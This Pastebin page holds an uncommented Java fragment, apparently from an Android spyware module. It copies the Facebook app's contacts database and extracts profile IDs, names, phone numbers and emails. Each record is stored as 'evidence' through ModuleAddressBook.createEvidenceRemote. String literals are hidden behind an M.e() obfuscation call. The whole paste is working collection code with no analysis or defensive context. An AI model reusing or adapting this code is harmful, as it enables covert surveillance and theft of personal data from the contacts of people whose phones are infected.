Advertisement
Guest User

Untitled

a guest
Jul 30th, 2015
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.22 KB | None | 0 0
  1.  
  2.  
  3. private void readAddressContacts(String dbDir) {
  4. if (Cfg.DEBUG) {
  5. Check.log(TAG + " (readAddressContacts) ");
  6. }
  7. String dbFile = M.e("contacts_db2");
  8. GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
  9. // SQLiteDatabase db = helper.getReadableDatabase();
  10.  
  11. RecordListVisitor visitor = new RecordListVisitor("data");
  12. helper.traverseRecords(M.e("contacts"), visitor);
  13. boolean serializeContacts = false;
  14. for (String value : visitor.getList()) {
  15. try {
  16. Contact contact = json2Contact(value);
  17. serializeContacts |= ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.FACEBOOK, contact);
  18. contacts.put(contact.id, contact);
  19. } catch (JSONException e) {
  20. if (Cfg.DEBUG) {
  21. Check.log(TAG + " (readAddressContacts) Error: " + e);
  22. }
  23. }
  24. }
  25. if (serializeContacts) {
  26. ModuleAddressBook.getInstance().serializeContacts();
  27. }
  28. }
  29.  
  30. private Contact json2Contact(String value) throws JSONException {
  31. JSONObject root = (JSONObject) new JSONTokener(value).nextValue();
  32. String fbId = root.getString(M.e("profileFbid"));
  33. JSONObject name = root.getJSONObject(M.e("name"));
  34. String fullName = name.getString(M.e("displayName"));
  35.  
  36. JSONArray phones = root.getJSONArray(M.e("phones"));
  37. String numbers = "";
  38. for (int i = 0; i < phones.length(); i++) {
  39. numbers += phones.getJSONObject(i).get(M.e("universalNumber")) + " ";
  40. }
  41. // String picture = root.getString("bigPictureUrl");
  42. Contact contact = new Contact(fbId, numbers, fullName, "Id: " + fbId);
  43. return contact;
  44. }
  45.  
  46. private Contact[] json2Contacts(String value) throws JSONException {
  47. JSONArray jcontacts = (JSONArray) new JSONTokener(value).nextValue();
  48.  
  49. Contact[] contacts = new Contact[jcontacts.length()];
  50. for (int i = 0; i < jcontacts.length(); i++) {
  51.  
  52. JSONObject root = (JSONObject) jcontacts.get(i);
  53. if (Cfg.DEBUG) {
  54. Check.log(TAG + " (json2Contacts) root: " + root);
  55. }
  56.  
  57. String email = root.getString(M.e("email"));
  58. String fbId = email.split("@")[0];
  59.  
  60. String fullName = root.getString(M.e("name"));
  61.  
  62. Contact contact = new Contact(fbId, "", fullName, M.e("Id: ") + fbId);
  63. if (Cfg.DEBUG) {
  64. Check.log(TAG + " (json2Contacts) " + contact);
  65. }
  66. contacts[i] = contact;
  67. }
  68. return contacts;
  69. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement